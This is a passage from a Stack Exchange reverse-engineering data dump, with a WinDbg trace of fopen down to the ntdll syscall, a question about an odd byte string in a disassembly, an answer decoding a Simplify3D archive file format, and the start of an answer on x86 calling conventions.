(00a42ed6)&#xA;  fopen!fopen_s+0x29 (00a2b5e9):&#xA;    call to fopen!common_fsopen&amp;lt;char&amp;gt; (00a2b383) &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;  fopen!fopen_s+0x37 (00a2b5f7):&#xA;    call to fopen!_errno (00a42ffd)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you will notice a call to fopen!common_fsopen&lt;/p&gt;&#xA;&lt;p&gt;get inside that function and repeat the procedure until you reach the syscall&#xA;note if the function is inlined you may need to set a  bm breakpoint as shown below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; g fopen!common_fsopen&amp;lt;char&amp;gt;&#xA;Couldn't resolve error at 'fopen!common_fsopen&amp;lt;char&amp;gt;'&#xA;The breakpoint expression &amp;quot;fopen!common_fsopen&amp;lt;char&amp;gt;&amp;quot; evaluates to the inline function.&#xA;Please use bm command to set breakpoints first, then g.&#xA;                                 ^ Syntax error in 'g fopen!common_fsopen&amp;lt;char&amp;gt;'&#xA;0:000&amp;gt; bm fopen!common_fsopen&amp;lt;char&amp;gt;;g&#xA;  1: 00a2b383          @!&amp;quot;fopen!common_fsopen&amp;lt;char&amp;gt;&amp;quot;&#xA;Breakpoint 1 hit &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the result of procedure thus repeated until crt transitions from itself to kernel32 is shown below scroll to the end&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf /c .&#xA;fopen!common_fsopen&amp;lt;char&amp;gt; (00a2b383)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x7 (00a2b38a):&#xA;    call to fopen!__SEH_prolog4 (00a21b30)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x13 (00a2b396):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x1e (00a2b3a1):&#xA;    call to fopen!_invalid_parameter_noinfo (00a42ed6)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x38 (00a2b3bb):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x49 (00a2b3cc):&#xA;    call to fopen!__acrt_stdio_allocate_stream (00a44b46)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x55 (00a2b3d8):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x72 (00a2b3f5):&#xA;    call to fopen!_openfile (00a45529)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x86 (00a2b409):&#xA;    call to fopen!common_fsopen&amp;lt;char&amp;gt;+0x96 (00a2b419)&#xA;  fopen!common_fsopen&amp;lt;char&amp;gt;+0x8d (00a2b410):&#xA;    call to fopen!__SEH_epilog4 (00a21b76)&#xA;0:000&amp;gt; g fopen!_openfile&#xA;eax=0016f870 ebx=7ffd5000 ecx=0016f870 edx=0017a89b esi=00a62194 edi=00a62190&#xA;eip=00a45529 esp=0016f848 ebp=0016f88c iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;fopen!_openfile:&#xA;00a45529 8bff            mov     edi,edi&#xA;0:000&amp;gt; uf /c .&#xA;fopen!_openfile (00a45529)&#xA;  fopen!common_openfile&amp;lt;char&amp;gt;+0x11 (00a4519e):&#xA;    call to fopen!__acrt_stdio_parse_mode&amp;lt;char&amp;gt; (00a44cef)&#xA;  fopen!common_openfile&amp;lt;char&amp;gt;+0x3a (00a451c7):&#xA;    call to fopen!_sopen_s (00a5320a)&#xA;0:000&amp;gt; g fopen!_sopen_s&#xA;eax=0016f840 ebx=7ffd5000 ecx=00a62190 edx=0017a89b esi=00a62194 edi=00a62190&#xA;eip=00a5320a esp=0016f810 ebp=0016f844 iopl=0         nv up ei pl nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202&#xA;fopen!_sopen_s:&#xA;00a5320a 8bff            mov     edi,edi&#xA;0:000&amp;gt; uf /c .&#xA;fopen!_sopen_s (00a5320a)&#xA;  fopen!_sopen_s+0x16 (00a53220):&#xA;    call to fopen!common_sopen_dispatch&amp;lt;char&amp;gt; (00a528eb)&#xA;0:000&amp;gt; g fopen!common_sopen_dispatch&amp;lt;char&amp;gt;&#xA;Couldn't resolve error at 'fopen!common_sopen_dispatch&amp;lt;char&amp;gt;'&#xA;The breakpoint expression &amp;quot;fopen!common_sopen_dispatch&amp;lt;char&amp;gt;&amp;quot; evaluates to the inline function.&#xA;Please use bm command to set breakpoints first, then g.&#xA;                                         ^ Syntax error in 'g fopen!common_sopen_dispatch&amp;lt;char&amp;gt;'&#xA;0:000&amp;gt; bm fopen!common_sopen_dispatch&amp;lt;char&amp;gt;;g&#xA;  2: 00a528eb          @!&amp;quot;fopen!common_sopen_dispatch&amp;lt;char&amp;gt;&amp;quot;&#xA;Breakpoint 2 hit&#xA;eax=0016f840 ebx=7ffd5000 ecx=00a62190 edx=0017a89b esi=00a62194 edi=00a62190&#xA;eip=00a528eb esp=0016f7f0 ebp=0016f80c iopl=0         nv up ei pl nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202&#xA;fopen!common_sopen_dispatch&amp;lt;char&amp;gt;:&#xA;00a528eb 6a10            push    10h&#xA;0:000&amp;gt; uf /c .&#xA;fopen!common_sopen_dispatch&amp;lt;char&amp;gt; (00a528eb)&#xA;  fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x7 (00a528f2):&#xA;    call to fopen!__SEH_prolog4 (00a21b30)&#xA;  fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x13 (00a528fe):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x1d (00a52908):&#xA;    call to fopen!_invalid_parameter_noinfo (00a42ed6)&#xA;  fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x5d (00a52948):&#xA;    call to fopen!_sopen_nolock (00a5319a)&#xA;  fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x71 (00a5295c):&#xA;    call to fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x8b (00a52976)&#xA;  fopen!common_sopen_dispatch&amp;lt;char&amp;gt;+0x7f (00a5296a):&#xA;    call to fopen!__SEH_epilog4 (00a21b76)&#xA;0:000&amp;gt; g fopen!_sopen_nolock&#xA;eax=0016f7cc ebx=7ffd5000 ecx=00a62190 edx=0017a89b esi=0016f840 edi=00a62190&#xA;eip=00a5319a esp=0016f79c ebp=0016f7ec iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;fopen!_sopen_nolock:&#xA;00a5319a 8bff            mov     edi,edi&#xA;0:000&amp;gt; uf /c .&#xA;fopen!_sopen_nolock (00a5319a)&#xA;  fopen!_sopen_nolock+0x1d (00a531b7):&#xA;    call to fopen!__acrt_get_utf8_acp_compatibility_codepage (00a4a841)&#xA;  fopen!_sopen_nolock+0x2a (00a531c4):&#xA;    call to fopen!__acrt_mbs_to_wcs_cp&amp;lt;__crt_win32_buffer_internal_dynamic_resizing&amp;gt; (00a49bea)&#xA;  fopen!_sopen_nolock+0x50 (00a531ea):&#xA;    call to fopen!_wsopen_nolock (00a53282)&#xA;  fopen!_sopen_nolock+0x63 (00a531fd):&#xA;    call to fopen!_free_base (00a430ff)&#xA;0:000&amp;gt; g fopen!_wsopen_nolock&#xA;eax=00000000 ebx=7ffd5000 ecx=8b190463 edx=00000009 esi=0016f840 edi=00a62190&#xA;eip=00a53282 esp=0016f75c ebp=0016f798 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;fopen!_wsopen_nolock:&#xA;00a53282 8bff            mov     edi,edi&#xA;0:000&amp;gt; uf /c .&#xA;fopen!_wsopen_nolock (00a53282)&#xA;  fopen!_wsopen_nolock+0x18 (00a5329a):&#xA;    call to fopen!decode_options (00a52e85)&#xA;  fopen!_wsopen_nolock+0x32 (00a532b4):&#xA;    call to fopen!__doserrno (00a42fea)&#xA;  fopen!_wsopen_nolock+0x3f (00a532c1):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!_wsopen_nolock+0x4b (00a532cd):&#xA;    call to fopen!_alloc_osfhnd (00a4cc8a)&#xA;  fopen!_wsopen_nolock+0x59 (00a532db):&#xA;    call to fopen!__doserrno (00a42fea)&#xA;  fopen!_wsopen_nolock+0x63 (00a532e5):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!_wsopen_nolock+0xa4 (00a53326):&#xA;    call to fopen!create_file (00a52d97)&#xA;  fopen!_wsopen_nolock+0xe9 (00a5336b):&#xA;    call to fopen!create_file (00a52d97)&#xA;  fopen!_wsopen_nolock+0x114 (00a53396):&#xA;    call to kernel32!GetLastErrorStub (75eccde0)&#xA;  fopen!_wsopen_nolock+0x11b (00a5339d):&#xA;    call to fopen!__acrt_errno_map_os_error (00a42fc7)&#xA;  fopen!_wsopen_nolock+0x127 (00a533a9):&#xA;    call to kernel32!GetFileTypeImplementation (75ed6ab4)&#xA;  fopen!_wsopen_nolock+0x131 (00a533b3):&#xA;    call to kernel32!GetLastErrorStub (75eccde0)&#xA;  fopen!_wsopen_nolock+0x13a (00a533bc):&#xA;    call to fopen!__acrt_errno_map_os_error (00a42fc7)&#xA;  fopen!_wsopen_nolock+0x15a (00a533dc):&#xA;    call to kernel32!CloseHandleImplementation (75ece868)&#xA;  fopen!_wsopen_nolock+0x168 (00a533ea):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!_wsopen_nolock+0x194 (00a53416):&#xA;    call to fopen!__acrt_lowio_set_os_handle (00a4cbd3)&#xA;  fopen!_wsopen_nolock+0x1e0 (00a53462):&#xA;    call to fopen!truncate_ctrl_z_if_present (00a53096)&#xA;  fopen!_wsopen_nolock+0x1ee (00a53470):&#xA;    call to fopen!_close_nolock (00a45761)&#xA;  fopen!_wsopen_nolock+0x215 (00a53497):&#xA;    call to fopen!configure_text_mode (00a52b42)&#xA;  fopen!_wsopen_nolock+0x2a7 (00a53529):&#xA;    call to kernel32!CloseHandleImplementation (75ece868)&#xA;  fopen!_wsopen_nolock+0x2ca (00a5354c):&#xA;    call to fopen!create_file (00a52d97)&#xA;  fopen!_wsopen_nolock+0x2d9 (00a5355b):&#xA;    call to kernel32!GetLastErrorStub (75eccde0)&#xA;  fopen!_wsopen_nolock+0x2e0 (00a53562):&#xA;    call to fopen!__acrt_errno_map_os_error (00a42fc7)&#xA;  fopen!_wsopen_nolock+0x300 (00a53582):&#xA;    call to fopen!_free_osfhnd (00a4cd93)&#xA;0:000&amp;gt; g fopen!create_file&#xA;eax=0016f744 ebx=0016f840 ecx=00000000 edx=00000000 esi=0016f744 edi=0016f708&#xA;eip=00a52d97 esp=0016f6e4 ebp=0016f758 iopl=0         nv up ei pl nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202&#xA;fopen!create_file:&#xA;00a52d97 8bff            mov     edi,edi&#xA;0:000&amp;gt; uf /c .&#xA;fopen!create_file (00a52d97)&#xA;  fopen!create_file+0x1d (00a52db4):&#xA;    call to kernel32!CreateFileWImplementation (75ece8a5)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;kernel32.dll to kernelbase.dll&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf /c 75ece8a5&#xA;kernel32!CreateFileWImplementation (75ece8a5)&#xA;  kernel32!CreateFileWImplementation+0xe (75ece8b3):&#xA;    call to ntdll!RtlInitUnicodeStringEx (77a76f0a)&#xA;  kernel32!CreateFileWImplementation+0x2a (75ece8c8):&#xA;    call to kernel32!BaseIsThisAConsoleName (75ece903)&#xA;  kernel32!CreateFileWImplementation+0x64 (75ece8ea):&#xA;    call to kernel32!CreateFileW (75ece8f8)&#xA;  kernel32!CreateFileWImplementation+0x48 (75eea050):&#xA;    call to kernel32!OpenConsoleW (75ec0853)&#xA;  kernel32!CreateFileWImplementation+0x19 (75eebe96):&#xA;    call to kernel32!BaseSetLastNTError (75ecf790)&#xA;0:000&amp;gt; uf /c kernel32!CreateFileW&#xA;Flow analysis was incomplete, some code may be missing&#xA;kernel32!CreateFileW (75ece8f8)&#xA;    no calls found&#xA;0:000&amp;gt; uf kernel32!CreateFileW&#xA;Flow analysis was incomplete, some code may be missing&#xA;kernel32!_imp__CreateFileW:&#xA;75e819e0 68a7d9755e      push    5E75D9A7h&#xA;75e819e5 44              inc     esp&#xA;&#xA;kernel32!CreateFileW:&#xA;75ece8f8 ff25e019e875    jmp     dword ptr [kernel32!_imp__CreateFileW (75e819e0)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as shown below the transition from kernelbase to ntdll and from ntdll to kernelmode&#xA;since there are many indirect calls you may need to evaluate each of them  using &lt;strong&gt;run to call&lt;/strong&gt;  &lt;strong&gt;(pc)&lt;/strong&gt; command&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf /c poi(75e819e0)&#xA;KERNELBASE!CreateFileW (75d9a768)&#xA;  KERNELBASE!CreateFileW+0x68 (75d9a799):&#xA;    call to ntdll!RtlInitUnicodeStringEx (77a76f0a)&#xA;  KERNELBASE!CreateFileW+0x9e (75d9a7d3):&#xA;    call to ntdll!RtlDosPathNameToRelativeNtPathName_U_WithStatus (77a7a6a1)&#xA;  KERNELBASE!CreateFileW+0x312 (75d9a8ed):&#xA;    call to KERNELBASE!SbSelectProcedure (75d9a755)&#xA;  KERNELBASE!CreateFileW+0x31f (75d9a8fa):&#xA;    unresolvable call: call    eax&#xA;  KERNELBASE!CreateFileW+0x35c (75d9a937):&#xA;    unresolvable call: call    esi&#xA;  KERNELBASE!CreateFileW+0x3c8 (75d9a94c):&#xA;    call to ntdll!RtlReleaseRelativeName (77a77f7a)&#xA;  KERNELBASE!CreateFileW+0x3e6 (75d9a96a):&#xA;    unresolvable call: call    esi&#xA;  KERNELBASE!CreateFileW+0x3f8 (75d9a97c):&#xA;    unresolvable call: call    esi&#xA;  KERNELBASE!CreateFileW+0x44e (75d9a997):&#xA;    call to ntdll!RtlSetLastWin32Error (77a730fb)&#xA;  KERNELBASE!CreateFileW+0x3ff (75d9a9b2):&#xA;    call to KERNELBASE!BaseSetLastNTError (75d96b4d)&#xA;  KERNELBASE!CreateFileW+0xb8 (75d9f441):&#xA;    call to ntdll!RtlSetLastWin32Error (77a730fb)&#xA;  KERNELBASE!CreateFileW+0x1a8 (75da16c6):&#xA;    call to ntdll!NtQueryInformationFile (77a66058)&#xA;  KERNELBASE!CreateFileW+0xc1 (75da446c):&#xA;    call to KERNELBASE!BaseSetLastNTError (75d96b4d)&#xA;  KERNELBASE!CreateFileW+0x423 (75da73e3):&#xA;    call to ntdll!RtlSetLastWin32Error (77a730fb)&#xA;  KERNELBASE!CreateFileW+0x46f (75db80bd):&#xA;    call to ntdll!ZwSetInformationFile (77a66678)&#xA;  KERNELBASE!CreateFileW+0x2f (75dbd130):&#xA;    call to KERNELBASE!BaseSetLastNTError (75d96b4d)&#xA;  KERNELBASE!CreateFileW+0x1bf (75dbd158):&#xA;    call to KERNELBASE!KernelBaseGetGlobalData (75d96843)&#xA;  KERNELBASE!CreateFileW+0x1d6 (75dbd16f):&#xA;    call to ntdll!RtlAllocateHeap (77a72dd6)&#xA;  KERNELBASE!CreateFileW+0x1f8 (75dbd18d):&#xA;    call to ntdll!ZwQueryEaFile (77a66008)&#xA;  KERNELBASE!CreateFileW+0x213 (75dbd1a8):&#xA;    call to ntdll!RtlFreeHeap (77a72c6a)&#xA;  KERNELBASE!CreateFileW+0x2c2 (75dbd1d5):&#xA;    call to ntdll!RtlReleaseRelativeName (77a77f7a)&#xA;  KERNELBASE!CreateFileW+0x2d8 (75dbd1eb):&#xA;    call to ntdll!RtlFreeHeap (77a72c6a)&#xA;  KERNELBASE!CreateFileW+0x2e3 (75dbd1f6):&#xA;    call to KERNELBASE!BaseSetLastNTError (75d96b4d)&#xA;  KERNELBASE!CreateFileW+0x3a2 (75dbd247):&#xA;    unresolvable call: call    esi&#xA;  KERNELBASE!CreateFileW+0x3b8 (75dbd265):&#xA;    call to KERNELBASE!AitLogFeatureUsageByApp (75dd0aef)&#xA;  KERNELBASE!CreateFileW+0x47a (75dbd27e):&#xA;    call to KERNELBASE!BaseSetLastNTError (75d96b4d)&#xA;  KERNELBASE!CreateFileW+0x482 (75dbd286):&#xA;    call to ntdll!NtClose (77a65508)&#xA;0:000&amp;gt; bp poi(75e819e0);g&#xA;Breakpoint 0 hit&#xA;eax=00000000 ebx=0016f840 ecx=75ece9b9 edx=00000074 esi=0016f744 edi=0016f708&#xA;eip=75d9a768 esp=0016f694 ebp=0016f6bc iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;KERNELBASE!CreateFileW:&#xA;75d9a768 8bff            mov     edi,edi&#xA;0:000&amp;gt; pc&#xA;eax=0016f668 ebx=0016f840 ecx=75ece9b9 edx=00000074 esi=0017a8d8 edi=0016f708&#xA;eip=75d9a799 esp=0016f61c ebp=0016f690 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;KERNELBASE!CreateFileW+0x68:&#xA;75d9a799 ff15ec11d975    call    dword ptr [KERNELBASE!_imp__RtlInitUnicodeStringEx (75d911ec)]&#xA;ds:0023:75d911ec={ntdll!RtlInitUnicodeStringEx (77a76f0a)}&#xA;0:000&amp;gt; pc&#xA;eax=0016f668 ebx=00000000 ecx=00000008 edx=00000000 esi=0017a8d8 edi=0016f708&#xA;eip=75d9a7d3 esp=0016f614 ebp=0016f690 iopl=0         nv up ei pl nz ac pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216&#xA;KERNELBASE!CreateFileW+0x9e:&#xA;75d9a7d3 ff150414d975    call    dword ptr [KERNELBASE!_imp__RtlDosPathNameToRelativeNtPathName_U_WithStatus&#xA;(75d91404)] ds:0023:75d91404={ntdll!RtlDosPathNameToRelativeNtPathName_U_WithStatus (77a7a6a1)}&#xA;0:000&amp;gt; pc&#xA;eax=00200000 ebx=00000000 ecx=00000000 edx=00000080 esi=00000020 edi=00000000&#xA;eip=75d9a8ed esp=0016f610 ebp=0016f690 iopl=0         nv up ei pl nz na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206&#xA;KERNELBASE!CreateFileW+0x312:&#xA;75d9a8ed e863feffff      call    KERNELBASE!SbSelectProcedure (75d9a755)&#xA;0:000&amp;gt; pc&#xA;eax=75d9a760 ebx=00000000 ecx=0016f698 edx=00000000 esi=00000020 edi=00000000&#xA;eip=75d9a8fa esp=0016f61c ebp=0016f690 iopl=0         nv up ei pl nz na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206&#xA;KERNELBASE!CreateFileW+0x31f:&#xA;75d9a8fa ffd0            call    eax {KERNELBASE!CreateFileDowngrade_Vista (75d9a760)}&#xA;0:000&amp;gt; pc&#xA;eax=0016f688 ebx=00000000 ecx=0016f62c edx=00000000 esi=77a65608 edi=00000000&#xA;eip=75d9a937 esp=0016f5f4 ebp=0016f690 iopl=0         nv up ei ng nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282&#xA;KERNELBASE!CreateFileW+0x35c:&#xA;75d9a937 ffd6            call    esi {ntdll!ZwCreateFile (77a65608)}&#xA;0:000&amp;gt; t&#xA;eax=0016f688 ebx=00000000 ecx=0016f62c edx=00000000 esi=77a65608 edi=00000000&#xA;eip=77a65608 esp=0016f5f0 ebp=0016f690 iopl=0         nv up ei ng nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282&#xA;ntdll!ZwCreateFile:&#xA;77a65608 b842000000      mov     eax,42h&#xA;0:000&amp;gt; pc&#xA;eax=00000042 ebx=00000000 ecx=0016f62c edx=7ffe0300 esi=77a65608 edi=00000000&#xA;eip=77a65612 esp=0016f5f0 ebp=0016f690 iopl=0         nv up ei ng nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282&#xA;ntdll!ZwCreateFile+0xa:&#xA;77a65612 ff12            call    dword ptr [edx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (77a670f0)}&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;for mapping kernel mode calls you need a kernel debugging session with two machines&#xA;a host and a target (physical/vm or vm /vm or physial / physical  )&lt;/p&gt;&#xA;&lt;p&gt;set a process specific Break on nt!NtCreateFile and repeat the procedure&#xA;it willmost likely reach Object Manager calls  ObCreateObject() etc before returning back to usermode .&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-07-18T19:34:35.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25520" PostTypeId="1" CreationDate="2020-07-18T19:50:56.173" Score="0" ViewCount="125" Body="&lt;p&gt;I have this piece of code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00537FDE                 push    offset a3Rrrrrrrrrrrrr ; &amp;quot;3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ+ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐøû9\n&amp;quot;&#xA;.text:00537FE3                 call    sub_5606A0&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;offset a3Rrrrrrrrrrrrr&lt;/code&gt; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005379B0 a3Rrrrrrrrrrrrr db '3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ+ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐøû9',0Ah,0&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The bytes from Hex View of this string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005379B0  33 C0 C3 90 90 90 90 90  90 90 90 90 90 90 90 90  3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ&#xA;.text:005379C0  C3 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  +ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ&#xA;.text:005379D0  E8 EB 39 0A 00 68 C0 79  53 00 68 80 56 6A 00 6A  øû9.hLyS.hÀVj.j&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And sub_5606A0:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005606A0 sub_5606A0      proc near               ; CODE XREF: WinMain(x,x,x,x)+223p&#xA;.text:005606A0&#xA;.text:005606A0 arg_0           = dword ptr  4&#xA;.text:005606A0&#xA;.text:005606A0                 mov     eax, [esp+arg_0]&#xA;.text:005606A4                 mov     dword_8478CC, eax&#xA;.text:005606A9                 retn&#xA;.text:005606A9 sub_5606A0      endp&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What can this encoded string mean?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005379B0 a3Rrrrrrrrrrrrr db '3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ+ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐøû9',0Ah,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="33371" LastEditorUserId="29859" LastEditDate="2020-07-24T22:18:35.763" LastActivityDate="2020-07-24T22:18:35.763" Title="Unrecognized sequence of bytes" Tags="|c++|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25521" PostTypeId="2" ParentId="25510" CreationDate="2020-07-19T09:15:34.263" Score="2" Body="&lt;p&gt;Whilst binwalk approach from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/25510/reverse-engineering-unknown-binary-data-of-factory-file-for-simplify3d/25513#25513&quot;&gt;@Bradley Heenk's answer&lt;/a&gt; will spot the compressed data streams and decompress them for you, the full top-level file format itself is quite simple to understand.  The the following will help anyone wanting to go both ways.&lt;/p&gt;&#xA;&lt;p&gt;This file is a fairly simple compressed archive-type format.&#xA;The data for each contained file follows sequentially in the archive.&lt;/p&gt;&#xA;&lt;p&gt;The first 4 bytes contain (in big-endian format) an integer length (in bytes) of the filename.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 00000026&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The following specified number of bytes contain the file name (in either UTF16 or perhaps UCS2 format)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000004: /Models/Model4.info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is then followed by two 4-byte integers as follows -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000002A: 0000009E    // compressed data size + 4&#xA;0000002E: 00000148    // uncompressed data size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally, the deflate compressed data stream is present (&lt;code&gt;78 9C&lt;/code&gt; is a bit of a giveaway here) -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000032: 78 9C B5 4C BD 0A C2 30 10 DE 03 79 0E 97 ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The information for the next file immediately follow the compressed data stream.&#xA;This can be found here at offset &lt;code&gt;000000CC&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;where 000000CC =   00000032 (start of compressed data stream)&#xA;                 + 0000009E (length read at offset 0000002A)&#xA;                 - 00000004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second file then looks like this -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;000000CC: 00000024                // length (in bytes) of filename&#xA;000000D0: /Models/Model4.stl      // filename&#xA;000000F4: 000003DE                // size of compressed data + 4&#xA;000000F8: 000014A4                // size of uncompressed data&#xA;000000FC: 78 9C 95 98 CD 6B ...   // compressed data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the hexdump you provided these are the only 2 files.&lt;/p&gt;&#xA;&lt;p&gt;The first &lt;code&gt;.info&lt;/code&gt; file is text and corresponds to the 'Header File' in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/25510/reverse-engineering-unknown-binary-data-of-factory-file-for-simplify3d/25513#25513&quot;&gt;the other answer&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;.stl&lt;/code&gt; file itself appears to be a standard &lt;a href=&quot;https://en.wikipedia.org/wiki/STL_(file_format)#Binary_STL&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary STL&lt;/a&gt; format file.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-07-19T09:42:25.687" LastActivityDate="2020-07-19T09:42:25.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25522" PostTypeId="2" ParentId="25464" CreationDate="2020-07-19T10:32:40.860" Score="1" Body="&lt;p&gt;To add to &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/25465/4731&quot;&gt;Paweł Łukasik's answer&lt;/a&gt;, the issue with ECX surrounds what is known as a 'calling convention'.&lt;/p&gt;&#xA;&lt;p&gt;Calling conventions set out the obligations on both the caller of a function and on the called function itself.&lt;/p&gt;&#xA;&lt;p&gt;Microsoft's 32-bit calling convention is described &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/cpp/argument-passing-and-naming-conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It says that an obligation on the called function is -&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The compiler generates prolog and epilog code to save and restore the&#xA;ESI, EDI, EBX, and EBP registers, if they are used in the function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Conversely, this implies that the &lt;em&gt;caller&lt;/em&gt; of a function must expect the values in other registers to NOT survive the call. (This is most obviously the case in respect of EAX - often used for the return value.)&lt;/p&gt;&#xA;&lt;p&gt;The compiler of your Unk11 function is doing the right thing in that, since it is modifying EBP, it is preserving it's value.  It's under no obligation though to preserve ECX.&lt;/p&gt;&#xA;&lt;p&gt;For the other side of the contact, there is no compiler here calling the function though. Instead it's your hand-crafted binary code doing the calling, so the obligation is on you to preserve ECX at that end.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Fixing It&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Obviously one solution is using inline assembler as you 